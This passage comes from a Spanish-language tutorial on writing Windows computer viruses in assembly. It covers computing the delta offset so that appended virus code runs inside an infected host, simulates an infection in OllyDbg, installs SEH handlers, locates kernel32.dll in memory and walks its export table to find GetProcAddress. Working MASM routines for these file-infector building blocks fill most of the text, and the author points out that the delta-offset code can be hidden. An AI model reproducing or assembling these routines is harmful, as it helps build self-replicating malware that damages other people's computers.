Pero como estamos dentro del RadASM no podemos utilizar comas, así que la reemplazamos por un carácter pipe (|), quedando: /SECTION:.text|REW, y la línea completa de ‘Link’ sería: 5,O,$B\LINK.EXE /SECTION:.text|REW /SUBSYSTEM:WINDOWS /RELEASE /VERSION:4.0 /LIBPATH:"$L" /OUT:"$5",3 Compilémoslo nuevamente con esta modificación, y ejecutémoslo nuevamente desde el Ollydbg. Vemos que ahora funciona perfectamente. Bien, salvado este primer obstáculo vamos por el próximo. Como hemos visto, cuando guardamos un valor en una variable, en realidad lo que guarda el programa es una dirección de memoria, por ejemplo en lo que hicimos anteriormente: mov variable, 10h se traduce como C705 0C104000 10000000 - MOV DWORD PTR DS:[40100C],10 esto se interpreta de la siguiente forma: C705: opcode que hace referencia al MOV DWORD 0C104000: dirección donde va a cargar el dato (40100C) 10000000: valor a guardar (010h) Recordemos que los valores se guardan en orden inverso en memoria (Little Endian). Prestemos atención al segundo valor, el que indica la dirección donde se va a almacenar la información (40100C). Ahora, el código de nuestro virus se va a ubicar al final de un programa que de antemano desconocemos, de la siguiente forma:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 43

Por lo que, luego de la infección, la dirección a la que hacemos referencia (40100C) ya no va a pertenecer al código de nuestro virus y si tratamos de guardar algo ahí lo mas probable es que sobreescribamos el código del host. Para solucionar esto surge el Delta Offset.

El Delta Offset es también conocido como desplazamiento relativo, se refiere justamente a que todas las referencias que hacemos a direcciones de memoria, cuando realizamos una infección, quedan desplazadas y se debe considerar ese desplazamiento para que nuestro espécimen funcione correctamente. La base de esta técnica es averiguar el valor de ese desplazamiento y sumarlo siempre que se haga una referencia a memoria dentro del propio virus. La solución es muy sencilla, pero para entenderla debemos conocer como funciona la función call, ya que esto es crucial para comprender su funcionamiento. Dentro del código del virus copiemos lo siguiente: --------------------------------------------------------------------------------------------------- call rutina nop ; los nop’s son para crear un espacio nop nop jmp host ; salto al falso host rutina: mov eax, 10h mov ebx, 20h ret --------------------------------------------------------------------------------------------------- Ahora veamos esto en Ollydbg:

Vemos que el CALL en realidad se codifica como ‘E8 05000000’, esto sería: E8: indica la instrucción CALL 05000000: indica que debe saltar 5 lugares hacia adelante Aquí está parte de la solución, el call no hace referencia directamente a una dirección de memoria, sino que indica la cantidad de bytes a saltar, 5 en este caso. Veamos algo más del funcionamiento del call, si ejecutamos esta instrucción (ojo, con F7 sino ejecuta toda la subrutina completa), vemos que salta a la dirección especificada, pero además coloca en el stack la dirección de retorno (00401005) para que cuando encuentre el RET (fin de la rutina) sepa donde continuar la ejecución del código:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 44

Cuando encuentra el RET, saca esa dirección de la pila y se la asigna a EIP para continuar la ejecución desde ahí. Bien, ahora que vimos esto les muestro las instrucciones para obtener el delta offset: --------------------------------------------------------------------------------------------------- call delta delta: pop ebp sub ebp, offset delta --------------------------------------------------------------------------------------------------- Copiemos esto dentro del espacio reservado para el virus (antes borremos lo que habíamos puesto), compilémoslo y veámoslo desde el Ollydbg.

Veamos esto línea a línea:

1- hacemos un call a la línea siguiente, con lo que queda almacenado en el stack justamente la dirección de memoria de esa línea

2- recuperamos ese valor en el registro ebp 3- le restamos a ebp la dirección donde se encuentra la línea anterior, lo cual va a

ser constante, en este caso 401005 (dirección de la primera generación del virus) Lo que nos queda luego de hacer esto es el delta offset en el registro ebp, entonces de acá en más, en vez de referenciar a nuestras variables como [variable], lo vamos a hacer [ebp+variable] para que quede corregido ese desplazamiento. Bien, la primera vez que ejecutemos nuestro virus nos va a dar como resultado el valor cero por que estamos en las primeras líneas de nuestro código, pero veamos que pasa si esto se ejecuta desde otra dirección de memoria. Para esto vamos a simular una ‘infección manual’. Seleccionemos estas tres líneas de código en el Ollydbg, presionemos el botón derecho y seleccionemos ‘Follow in Dump -> Selection’:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 45

Vemos que nos muestra esto en el dump y queda seleccionado, ahora parémosno sobre el dump, presionemos botón derecho y seleccionemos ‘Binary -> Binary copy’:

Lo que vamos a hacer es copiar este código en otro archivo simulando la infección. Para esto ejecutemos otra sesión de Ollydbg (no cerremos esta) y abramos el programa que realizamos en el segundo capítulo. Parémosno sobre la sexta línea (o cualquier otra), y presionemos nuevamente ‘Follow in Dump -> Selection’, y sobre el dump seleccionemos una cantidad de bytes que alcancen para contener lo vamos a pegar (no importa si seleccionamos de más). Luego presionamos el botón derecho del mouse y seleccionemos ‘Binary -> Binary paste’:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 46

Nos pega el código que habíamos seleccionado. Ahora nos paramos sobre el mismo en la ventana de código y sobre la primera línea presionamos el botón derecho del mouse y seleccionamos ‘New origin here’ para que comience la ejecución en esta línea:

Ejecutemos estas tres líneas con F7 y vemos que ebp queda igual a 13, que es justamente el desplazamiento desde el inicio del programa:

O sea 401013 – 401000 = 13, o sea el desplazamiento de nuestro virus desde el inicio del programa en memoria. Bien, esto del delta offset se puede realizar de varias formas distintas, sobre todo para ocultarlo un poco ya que si colocamos en un código estas tres líneas es muy evidente la intención del mismo. Hay varios artículos en Internet muy buenos que tratan justamente como ‘ocultar’ esto del delta offset, no lo vemos acá ya que haría que se extienda demasiado y escapa a la intención de este curso. Lo importante es que se entienda lo que se quiere hacer, el resto depende de la imaginación de cada uno. La única desventaja de este método es que vamos a ocupar permanentemente un registro (ebp), que va a estar reservado para guardar el delta offset, pero es un costo bastante bajo comparado con su utilidad.

Capítulo 6

Obteniendo las API’s necesarias - parte 1

El próximo paso que vamos a ver podríamos decir que es el segundo obstáculo (después del delta offset) que se encontraron los creadores de virus en Windows.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 47

Cuando estábamos en DOS, simplemente llamábamos a una interrupción para obtener un determinado servicio del SO sin importarnos donde estaba alojado, eso lo resolvía el propio SO. En Windows, la cosa cambió un poco ya que ahora no se utilizan interrupciones, sino que nos manejamos con API’s. El problema con esto es que para poder utilizarlas debo declararlas dentro del código para que el compilador me arme una tabla (IAT - Import Address Table), que en el momento de ejecución el SO llenará con los valores que correspondan (direcciones de esas API’s en memoria). Esto lo vimos en el capítulo 2. Ahora, el problema con esto es que nosotros vamos a infectar archivos que ya están compilados y linkeados (.exe), por lo que la IAT ya está lista para que funcione ese programa con las API’s que necesita, y es muy probable que no importe las funciones que nosotros vamos a necesitar en nuestro virus. La solución que vamos a ver para este problema viene de la mano de la API GetProcAddress. Esta API lo que hace es devolvernos la dirección en memoria de cualquier otra API que nosotros necesitemos, para que la podamos llamar directamente haciendo un call a dicha dirección. El problema es que tampoco tenemos esa API disponible, ya que no es muy común que los programas la incluyan en sus funciones importadas. Otro problema con esta función es que necesitamos pasarle el identificador de módulo del archivo DLL que la contiene (dirección base a partir de la cual está cargado en memoria), lo cual se puede obtener con otras API’s: GetModuleHandle o LoadLibrary, pero estamos en un círculo vicioso, ya que para obtener la dirección de esas API’s necesitamos antes la dirección de GetProcAddress. Para darle una solución a este problema se creó el método que vamos a ver. La idea básica de este método es obtener la dirección de inicio en memoria de la librería kernel32.dll y a partir de ahí buscar la funciones que exporta y encontrar a GetProcAddress. Luego, con esta función mas la dirección de inicio de kernel32.dll en memoria podemos obtener todas las funciones que necesitemos. Para hacer esto utilizaremos algo muy ingenioso, y es que el SO para poder ejecutar un determinado programa entre otras cosas debe crear un nuevo proceso, y para eso llama a la API CreateProcess. Bien, recordemos cuando hablábamos de la instrucción CALL, decíamos que para que el SO supiera donde continuar la ejecución una vez terminada la rutina lo que hacía era guardar en la pila la dirección de retorno. Es importante entender bien este concepto. A partir de esto veamos la solución: el SO llama a esta API y guarda la dirección de retorno en la pila, o sea que si cargamos en Ollydbg cualquier programa y miramos el stack vamos a tener una dirección de kernel32. Lo que tenemos que hacer luego es ir retrocediendo hasta encontrar el principio de esa librería en memoria y listo, ya vamos a tener la dirección de inicio de kernel32.dll, para luego poder buscar a GetProcAddress.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 48

Vemos algo en OllyDBG, para esto abramos el primer programa que hicimos en assembler, y vamos a ‘Show Memory window’ (M). Busquemos en memoria donde comienza la librería kernel32.dll:

Esa dirección (7C800000) es la que vamos a tratar de encontrar desde nuestro virus. Ojo por que puede ser distinta a la que vean ustedes en sus PC’s. Ahora vayamos al stack, y vemos que en la parte superior encontramos una dirección que pertenece a kernel32.dll:

El mismo Olly lo reconoce y aclara ‘RETURN to kernel32.7C816FD7’. Lo que haremos será recuperar esa dirección, y a partir de ahí vamos a ir retrocediendo en memoria hasta encontrar el inicio de la librería, recordemos que la misma tiene formato PE, o sea que va a comenzar con los caracteres ‘MZ’ que la identifica, gracias a eso vamos a saber cuando estemos parados en el inicio de la misma. Antes de ver la rutina que resuelve esto, vamos a darle una mirada al manejo de errores en Windows, ya que como vamos a leer direcciones de memoria, y si no las mismas no tienen permiso de lectura nos va a dar un error y no queremos que esto pase cuando se esté ejecutando nuestro virus. El manejo de errores en Windows se denomina SEH (Structured Exception Handling - manejo estructurado de excepciones). Esto se trata básicamente de subrutinas que se ejecutarán si se llega a detectar un error. Todos los programas tienen por lo menos una, que la proporciona el SO. La idea es proporcionar una rutina propia para salvar algún error que se pudiera producir y poder continuar normalmente con la ejecución. Al sistema de manejo de errores se lo denomina SEH chain, ya que justamente se trata de una cadena de manejadores de excepción, los cuales están uno por encima de otro. Si uno no puede resolver el problema se lo pasa al siguiente, y así sucesivamente hasta que se solucione el problema o lo captura el SO y seguramente nos va a salir un mensaje de error. La estructura del SEH chain es la siguiente: typedef struct _EXCEPTION_REGISTRATION_RECORD

{

struct _EXCEPTION_REGISTRATION_RECORD *Next;

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 49

PVOID Handler;

}

Vemos que es una estructura que está compuesta por dos valores:

� puntero al próximo manejador de errores � dirección del propio manejador (handler)

En el caso del último manejador, el puntero va a tener el valor FFFFFFFFh (o sea -1). Vale una aclaración, la numeración que utilizamos se denomina ‘complemento a 2’ para representar los números positivos y negativos, ya que en los mismos no se pueden incluir signos. Básicamente, para los números positivos se reservan los códigos que tengan el bit 31 con valor 0 (bit más significativo, ya que estamos trabajando con datos de 32 bits). Es decir, en hexadecimal los positivos van desde el 00000000 hasta 7FFFFFFF, y los negativos desde el 80000000 hasta FFFFFFFF. Por eso -1 se representa como FFFFFFFF. Después de este breve paréntesis, continuamos. Retomando la estructura que vimos anteriormente, vemos que lo que hay que hacer es crear una estructura similar, donde el valor del próximo SEH sea el del SO y el handler de las excepciones sea una rutina propia. Los manejadores de excepciones se determinan para cada thread, o sea que cada hilo de ejecución tendrá su propia rutina de detección de errores. En el caso de nuestro virus solo vamos a tener un thread en ejecución, pero es bueno saberlo. En el capítulo 2 veíamos que para cada thread, el SO lleva una tabla llamada TIB (Thread Information Block), entre otras cosas, en esa tabla vamos a encontrar la dirección del primer eslabón de esta cadena. Para accederla utilizamos el registro FS, mas específicamente en fs:[0] vamos a encontrar la dirección que buscamos. Para entender esto mejor vamos a verlo separado del código de nuestro virus. Creemos un nuevo archivo en assembler y copiemos lo siguiente: --------------------------------------------------------------------------------------------------- .386 .model flat, stdcall option casemap:none assume fs:nothing include windows.inc include kernel32.inc include user32.inc includelib user32.lib includelib kernel32.lib .data MsgCaption db "Manejo de excepciones",0

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 50

MsgBoxText db "Excepción salvada gracias a un SEH propio !!!",0 .code codigo: ; coloco un manejador de excepciones propio push offset SEH_Handle mov eax, fs:[0] push eax mov fs:[0], esp ; fuerzo una excepción (división por cero) xor ebx, ebx div ebx seguimos: ; otras instrucciones para rellenar nop nop nop ; termino la ejecución jmp salir SEH_Handle: mov esp, dword ptr [esp + 8] mov fs:[0], esp jmp seguimos ; salvado el error, continúo con la ejecución salir: ; restauro el SEH original del SO y acomodo la pila mov eax, dword ptr [esp] mov fs:[0], eax add esp, 8 ; mensaje para saber que todo esta OK y se salvo el error invoke MessageBox, NULL, addr MsgBoxText, addr MsgCaption, MB_OK ; termina el proceso y devuelve el control al SO invoke ExitProcess,NULL end codigo --------------------------------------------------------------------------------------------------- Veamos esto por parte para poder entender lo que hace: --------------------------------------------------------------------------------------------------- push offset SEH_Handle mov eax, fs:[0] push eax mov fs:[0], esp

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 51

--------------------------------------------------------------------------------------------------- Estas líneas agregan nuestro manejador de excepciones. Lo primero que hacemos es armar la estructura que vimos antes (próximo handler + dirección de la rutina propia), para eso empujamos a la pila:

� la dirección de nuestro manejador (offset SEH_Handle) � la dirección del siguiente para armar la cadena (esta se guarda en fs:[0], pero

antes debemos pasarla al registro eax por que no podemos empujarla a la pila directamente)

Una vez que tenemos armada esta estructura, lo que hacemos es que fs:[0] apunte a nuestra estructura (recordemos que fs:[0] indica el comienzo de la cadena de SEH). Veamos ahora como funciona. Compilemos este programa y abrámoslo en Ollydbg, en la CommandBar escribamos ? fs:[0] para ver que valor tiene:

Vemos que hay en esa dirección (12FFE0) en el stack:

Ahí vemos que está armada la estructura que veíamos antes:

� la dirección del próximo handler (en este caso FFFFFFFF por que es el último) � la dirección del manejador, en este caso el que proporciona el SO

Para confirmar esto, vamos a ‘View -> SEH chain’:

Nos muestra el manejador de excepciones instalado:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 52

Vemos que la dirección que muestra (7C839A10) es la misma que veíamos en el stack. Ahora ejecutemos las primeras cuatro líneas de nuestro programa, y veamos como queda la pila:

Vemos que nos armó la estructura que nosotros ingresamos, y que quedó apuntando al próximo manejador, en este caso el que proporciona el SO. La cadena quedó de la siguiente forma: fs:[0] -> 12FFBC -> 12FFE0 -> FFFFFFFF Y vemos que el Ollydbg reconoce esta estructura y lo aclara: � Pointer to next SEH record � SEH handler � End of SEH chain Veamos también en ‘View -> SEH chain’:

Vemos que se va formando una pila de manejadores de excepción, quedando primero el que nosotros pusimos (40101C) y luego el propio del SO. Continuemos viendo el código del programa, lo que sigue es para forzar un error, en este caso una división por cero: --------------------------------------------------------------------------------------------------- xor ebx, ebx div ebx --------------------------------------------------------------------------------------------------- Lo que hacemos es cargar el valor 0 en ebx y luego dividirlo por sí mismo. Una aclaración, xor ebx, ebx es igual a hacer mov ebx, 0. Antes de ejecutar estas dos líneas pongamos un BP (breakpoint) en la dirección donde se encuentra nuestro manejador de excepciones para que pare cuando llegue allí, lo

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 53

hacemos así por que cuando ocurre una excepción se ejecutan ciertas rutinas propias del SO y luego recién nos da el control a nosotros. Recordemos que para poner un BP simplemente nos paramos sobre la línea y presionamos F2:

Ahora presionemos F9 para que continúe la ejecución. Vemos que el Ollydbg detecta el error y lo informa en el pie de la pantalla:

Presionamos Shift-F9 para que continúe la ejecución y ahora si queda parado donde pusimos el BP. Veamos un poco todo lo que hizo el SO para poder restaurar todo y poder continuar con la ejecución. Vemos que en el stack dejó un montón de valores, que no vamos a analizar, solamente queremos que la pila quede como estaba originalmente, y vemos que en el tope de la pila + 8 posiciones tenemos el valor original donde apuntaba la pila antes de la excepción (0012FFBC). Para verlo hagamos doble click sobre el tope de la pila para que muestre las direcciones como un desplazamiento a partir de la primera:

Y vemos que queda:

Ahí vemos que desde el tope de la pila + 8 lugares nos queda el puntero original de la pila (12FFBC) que teníamos antes de que se produjera la excepción. Entonces simplemente para restaurar la pila hacemos: --------------------------------------------------------------------------------------------------- mov esp, dword ptr [esp + 8] --------------------------------------------------------------------------------------------------- Solucionado el problema de la pila, podemos ver también que el SO puso por encima de nosotros otro manejador de errores, vayamos a ‘View -> SEH chain’:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 54

Por eso debemos restaurar nuestro handler, para eso simplemente hacemos apuntar el registro fs:[0] nuevamente a nuestro manejador, como la dirección del mismo lo tenemos en el tope de la pila, simplemente hacemos: --------------------------------------------------------------------------------------------------- mov fs:[0], esp --------------------------------------------------------------------------------------------------- Ejecutemos esta línea y veamos nuevamente los SEH chain (‘View -> SEH chain’):

Vemos que esto también quedó resuelto, asi que ahora simplemente saltamos a la próxima instrucción a ejecutar y listo:

Por último, cuando terminamos la ejecución del código, debemos restaurar todo, para eso hacemos: --------------------------------------------------------------------------------------------------- mov eax, dword ptr [esp] mov fs:[0], eax add esp, 8 --------------------------------------------------------------------------------------------------- Lo cual elimina nuestro manejador de excepciones y deja nuevamente el del SO, además balancea la pila para que quede todo como estaba. Por último muestra un mensaje para que veamos que el programa se ejecuta normalmente. Probemos ahora de ejecutar el programa desde afuera del Ollydbg, vayamos a la carpeta donde lo creamos y ejecutemos el programa (.exe). Vemos que se ejecuta normalmente y nos sale un cartelito para que veamos que está todo OK:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 55

Bien, ahora que vimos el manejo de las excepciones retomemos el problema original, que era encontrar la dirección del kerne32.dll en memoria. Como dijimos, cuando se ejecuta un programa queda en el tope de la pila una dirección que pertenece justamente a esa librería (RETURN to kernel32.7C816FD7). Veamos la rutina que resuelve esto: --------------------------------------------------------------------------------------------------- mov eax, dword ptr ds:[esp] and eax, 0FFFFF000h bucleK32: sub eax, 1000h cmp word ptr [eax], 'ZM' jnz bucleK32 jmp saleK32 --------------------------------------------------------------------------------------------------- Lo que hacemos es mover el valor del tope de la pila al registro eax, luego le hacemos un and con el valor 0FFFFF000h (en binario 1111 1111 1111 1111 1111 0000 0000 0000). Esto lo hacemos para descartar los últimos bytes, ya que como todo programa tiene que estar alineado en memoria, lo que quiere decir que debe empezar en una dirección múltiplo de 1000h (tamaño de página). Luego entramos en un bucle que va restando de a 1000h al valor obtenido y lo va comparando con los caracteres ‘MZ’ para ver si encontramos el inicio de la librería en memoria (recordemos el capítulo sobre las cabeceras PE). Si la comparación da positiva sale del ciclo, sino vuelve a restar 1000h y compara nuevamente. Esto se podría mejorar poniendo un contador para que no quede en un ciclo muy largo en el caso de que no encuentre el inicio del kernel32.dll, pero no quise agregarle complejidad al tema. Compilémoslo y veámoslo en Ollydbg. Ejecutemos la primer línea y veamos que en EAX nos queda el valor que estaba en el tope de la pila:

eax = 7C816FD7

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 56

Ahora ejecutamos la segunda línea y vemos que lo alinea con el valor 1000h, quedando: eax = 7C816000 (descartamos los últimos tres dígitos) Luego restamos 1000h para saltar una página de memoria hacia atrás, y comparamos el contenido en esa dirección de memoria con los caracteres ‘MZ’, que equivalen a 5A4Dh: 5A : Ascii de ‘Z’ 4D : Ascii de ‘M’ Si no es igual vuelve a comenzar el ciclo. Si presionamos varias veces F8 vemos que va restando de a 1000h al registro eax y realizando las comparaciones hasta que encuentra el inicio de la librería en memoria y sale, y eax queda apuntando al inicio de kernel32.dll en memoria (en este caso eax = 7C800000)

Para comprobarlo, veamos nuevamente la memoria, vayamos a ‘Show Memory window’ (M), y busquemos manualmente el inicio de kernel32.dll:

Vemos que coincide con el valor que obtuvimos. Otro obstáculo superado. Para dejar esta rutina completa agreguémosle el manejo de errores. Y va a quedar así: --------------------------------------------------------------------------------------------------- ;================================== ; Ponemos un manejador de excepciones ;================================== lea eax, [ebp + offset SEH_Handler] push eax mov eax, dword ptr fs:[0] push eax mov dword ptr fs:[0], esp ;================================== ; Encontramos la dirección base del Kernel32.dll ;================================== mov eax, dword ptr ds:[esp + 08h] and eax, 0FFFFF000h bucleK32: sub eax, 1000h cmp word ptr [eax], 'ZM' jnz bucleK32

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 57

jmp saleK32 ;================================== ; Manejador de excepciones ;================================== SEH_Handler: mov esp, dword ptr [esp + 8] mov fs:[0], esp jmp bucleK32 saleK32: mov dword ptr [ebp + offset MZkernel], eax mov eax, dword ptr [esp] mov fs:[0], eax add esp, 8 --------------------------------------------------------------------------------------------------- Repasemos un poquito el código, cuando colocamos el manejador de excepciones lo hacemos de la forma: lea eax, [ebp + offset SEH_Handler] Recuerden que esto es así por el delta offset [ebp + dirección de memoria]. Después de esto tenemos el ciclo para obtener el inicio del kernel32.dll como ya vimos. Veamos que ahora no recuperamos el valor del tope de la pila (esp), sino el que está en esp + 08h, esto es porque como empujamos dos valores para crear nuestro SEH, se movió el tope de la pila dos lugares: mov eax, dword ptr ds:[esp + 08h] Luego viene el manejador de excepciones por si se produce una, que lo único que hace es restaurar todo como ya vimos y continuar con el ciclo de búsqueda. Luego guardamos el valor obtenido en una variable que llamamos MZkernel para poder utilizarla luego: mov dword ptr [ebp + offset MZkernel], eax Por último restauramos el manejador de excepciones por defecto y balanceamos la pila. Y listo, ya tenemos la dirección del kernel32.dll, a partir de ahí vamos a ver como obtener el resto de las API’s que vamos a utilizar. Recordemos que tenemos que ejecutar esto dentro de un proyecto para que le de permisos de escritura a la sección .text y nos deje guardar las variables en el mismo código del virus. Bueno, creo que por ahora ya fue bastante, el próximo paso va a ser obtener la dirección de la API GetProccAddress a partir de la dirección de inicio del kernel32.dll.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 58

Capítulo 7

Obteniendo las API’s necesarias - parte 2

En el capítulo anterior vimos como obtener la dirección base de memoria a partir de la cual se carga la librería kernel32.dll, lo que vamos a hacer ahora es llegar hasta la sección de exportación de la misma, y buscar ahí la API GetProcAddress, para que a partir de ella podamos obtener el resto de las API’s que necesitamos. Antes de empezar con esto, vamos a ordenar un poco nuestro código, sino cuando comience a crecer se vuelve un poco confuso. Para esto vamos a ir agrupando cada funcionalidad del código en subrutinas. Esto es muy sencillo de realizar en MASM, de la siguiente forma: …. call subrutina …. …. subrutina proc …. …. …. ret subrutina endp Así de simple, y para ir probando esto podemos colocar la rutina que hicimos en el capítulo anterior (búsqueda del kernel32.dll) en una subrutina y la llamamos luego de obtener el delta offset de la siguiente forma: call obtenerK32 Ojo, que al realizar este call se introduce un nuevo valor en la pila para luego hacer el ret, o sea que dentro de esta rutina cuando hacíamos: mov eax, dword ptr ds:[esp + 08h] ; saca de la pila el ret del CreateProcess Ahora tiene que desplazarse 4 lugares y queda así: mov eax, dword ptr ds:[esp + 0Ch] ; saca de la pila el ret del CreateProcess Ahora vamos a realizar una rutina para obtener la función GetProcAddress, que podríamos llamar de la siguiente forma: call obtenerGPA Esto lo colocamos debajo del call anterior y mas adelante del código vamos a definir esa subrutina. Empecemos con la búsqueda. Estamos parados en el inicio del kernel32.dll, y habíamos guardado este valor en la variable MZkernel.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 59

Si recordamos el formato de los archivos PE, sabemos que 03Ch lugares mas adelante encontraremos la dirección (RVA) de la cabecera PE. Vamos a obtener el contenido de esa dirección y lo vamos a guardar en otra variable. Esto lo hacemos con el siguiente código: --------------------------------------------------------------------------------------------------- mov edi, dword ptr [ebp + offset MZkernel] mov eax, dword ptr [edi + 03Ch] add eax, edi mov dword ptr [ebp + offset PEHeader], eax --------------------------------------------------------------------------------------------------- Además debemos definir la variable para almacenar el valor obtenido, de la siguiente forma: PEHeader dd 0 Veamos un poco como funciona esta rutina. Lo primero que hacemos es recuperar en el registro edi (puede ser cualquier otro) el valor del inicio de la librería en memoria. Luego buscamos el contenido de lo que está en la posición inicio del kernel32 + 03Ch, ojo como estoy poniendo el valor entre corchetes [] estoy haciendo referencia al contenido de dicha posición de memoria, no a la suma de los valores, es importante comprender esta diferencia. El próximo paso (add eax, edi) se realiza para ‘normalizar’ la dirección obtenida, esto se hace por que lo que obtenemos es una RVA (Relative Virtual Address), o sea que para obtener la dirección real tenemos que sumarle la dirección base de la imagen en memoria (como vimos en el capítulo 4). Lo que nos queda por hacer es guardar el dato obtenido en una variable y listo. Veamos esto en Olly:

Ahí estamos parados en el inicio de la rutina, y vemos que el Olly reconoce la dirección y lo aclara: kernel32.7C800000. Ejecutemos las dos primeras líneas y vemos que nos queda en EAX el valor 000000E8:

Si calculamos esto a mano obtenemos: Base del kernel32 + valor contenido en 03Ch = dirección de la cabecera PE 7C800000 + 000000E8 = 7C8000E8

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 60

Ahora veámoslo en el código:

Y vemos que queda en EAX dicho valor. Veamos esto en la memoria, vayamos a ‘Show Memory window’ (M) y busquemos la cabecera PE del kernel32.dll:

Le hacemos doble clic y buscamos el valor que obtuvimos (7C8000E8):

Y comprobamos que realmente en esta dirección comienza la cabecera PE. El próximo paso es encontrar la tabla de exportaciones de kernel32.dll, la cual está a 78Ch posiciones a partir del 'PE', esto lo hacemos con el siguiente código: --------------------------------------------------------------------------------------------------- mov edi, dword ptr [ebp + offset PEHeader] mov eax, dword ptr [edi + 078h] add eax, dword ptr [ebp + offset MZkernel] mov dword ptr [ebp + offset EData], eax --------------------------------------------------------------------------------------------------- Este código es exactamente igual que el anterior, por lo tanto no lo vamos a ver en detalle. Recordemos siempre declarar las variables que vamos necesitando, por ejemplo en este caso EData. Una acotación, se usan en exceso variables de las cuales podríamos prescindir, incluso todo esto se puede hacer con mucho menos código, pero es mejor así para que quede mas claro y se pueda entender bien. Bien, ya estamos en la tabla de exportaciones de kernel32.dll, ahora veamos como está compuesta: 0000 Dword Characteristics Set to zero (currently none defined)

0004 Dword TimeDateStamp Often set to zero

0008 Word MajorVersion User-defined version number

000A Word MinorVersion As above

000C Dword Name RVA of DLL name (null-terminated ASCII)

0010 Dword Base First valid exported ordinal

0014 Dword NumberOfFunctions Number of entries in EAT

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 61

0018 Dword NumberOfNames Number of entries in ENT

001C Dword AddressOfFunctions RVA of EAT (export address table)

0020 Dword AddressOfNames RVA of ENT (export name table)

0024 Dword AddressOfNameOrdinals RVA of EOT (export ordinal table)

De esta estructura nos interesan las direcciones de las últimas tres tablas:

• AddressOfFunctions: contiene la dirección (RVA) de un listado (arreglo) de punteros (RVA’s) a las funciones exportadas por esta librería

• AddressOfNames: contiene la dirección (RVA) de un listado (arreglo) de punteros

dirigidos a los nombres de las funciones exportadas

• AddressOfNameOrdinals: RVA que apunta a un listado (arreglo) que contiene los ordinales de los nombres de las funciones exportadas

Suena un poco complicado, así que veámoslo un poco mas detalladamente, ya que es muy importante que quede bien claro. Veámoslo con un ejemplo: Supongamos que tenemos la librería ‘zero32.dll’, y la función que estamos buscando se llama ‘MessageBoxA’. Tenemos que empezar por la tabla AddressOfNames, la cual contiene un listado de punteros a direcciones de memoria (RVA’s) donde están guardados lo nombres de las funciones exportadas:

Dos acotaciones, AddressOfNames contiene una RVA que apunta a un listado de RVA’s, no directamente a los nombres. Además recordemos que cada una de estas RVA tiene un tamaño double word. Bien, vemos que la tercer RVA es la que apunta a la función buscada, ese valor nos va a servir de puntero para la próxima tabla, la AddressOfNameOrdinals:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 62

En el tercer lugar de esta tabla tenemos un valor (en este caso hipotético es 4) que nos servirá de puntero a la última tabla, la AddressOfFunctions:

En el caso de esta tabla, los valores son del tipo Word, esto también lo vamos a necesitar luego cuando realicemos nuestro código. Vemos que en la cuarta posición tenemos el valor 005020, esto nos indica la RVA donde vamos a encontrar el inicio de la función buscada en memoria, para que podamos hacer algo como esto: call 405020 Recordemos que es una RVA, por lo que tendremos que sumarle la dirección base antes de utilizarla. Para que quede un poco mas claro, veamos todo esto en un solo paso:

Es un esquema un poco complejo, pero una vez que lo analicemos y luego cuando veamos el código va a quedar mas claro. Pasemos ahora al código para poder realizar todo esto. Primero debemos encontrar la RVA de la primer tabla que vimos (AddressOfNames), que como vimos en la estructura de la tabla de exportaciones está a 020Ch desde el inicio del comienzo: --------------------------------------------------------------------------------------------------- mov edi, dword ptr [ebp + offset EData] mov eax, dword ptr [edi + 020h] add eax, dword ptr [ebp + offset MZkernel] mov dword ptr [ebp + offset AofNames], eax ---------------------------------------------------------------------------------------------------

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 63

Acá realizamos una rutina similar a las anteriores, y el valor que buscamos es el que está a 020h a partir del inicio de la tabla de exportación, donde se encuentra la RVA de la AddressOfNames. Ahora vamos a ir recorriendo esa tabla y vamos a buscar la API ‘GetProcAddress’ por su nombre, para eso realizamos la siguiente rutina: --------------------------------------------------------------------------------------------------- mov eax, [ebp + offset AofNames] mov [ebp + offset contador], 0 xor ebx, ebx sub ebx, 4 BuscarGPA: inc [ebp + offset contador] add ebx, 4 mov edx, [eax + ebx] add edx, [ebp + offset MZkernel] mov esi, edx lea edi, [ebp + offset GetPA] mov ecx, 0Eh cld repe cmpsb jnz BuscarGPA dec [ebp + offset contador] --------------------------------------------------------------------------------------------------- Expliquemos esto un poco. En las primeras 4 líneas lo que hacemos es cargar en eax el valor de inicio de la tabla AddressOfNames, poner a cero un contador que luego nos va a servir de índice para buscar en la próxima tabla (AddressOfNameOrdinals), y por último preparamos el registro ebx que nos va a servir de puntero para ir accediendo a las posiciones de memoria cuando busquemos la API. Luego en ‘BuscarGPA:’ comienza el ciclo principal de la rutina. Lo primero que hacemos es incrementar el contador (inc [ebp + offset contador]) e incrementar el registro ebx para que apunte a la próxima dirección de memoria. En las próximas líneas: mov edx, [eax + ebx] add edx, [ebp + offset MZkernel] Lo que estamos haciendo es obtener el contenido de la dirección donde vamos a buscar (eax + ebx), recordemos que en eax teníamos el inicio de la tabla, por eso le sumamos ebx (nuestro puntero). Como lo que obtenemos es una RVA le tengo que sumar la dirección base del kernel32.dll.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 64

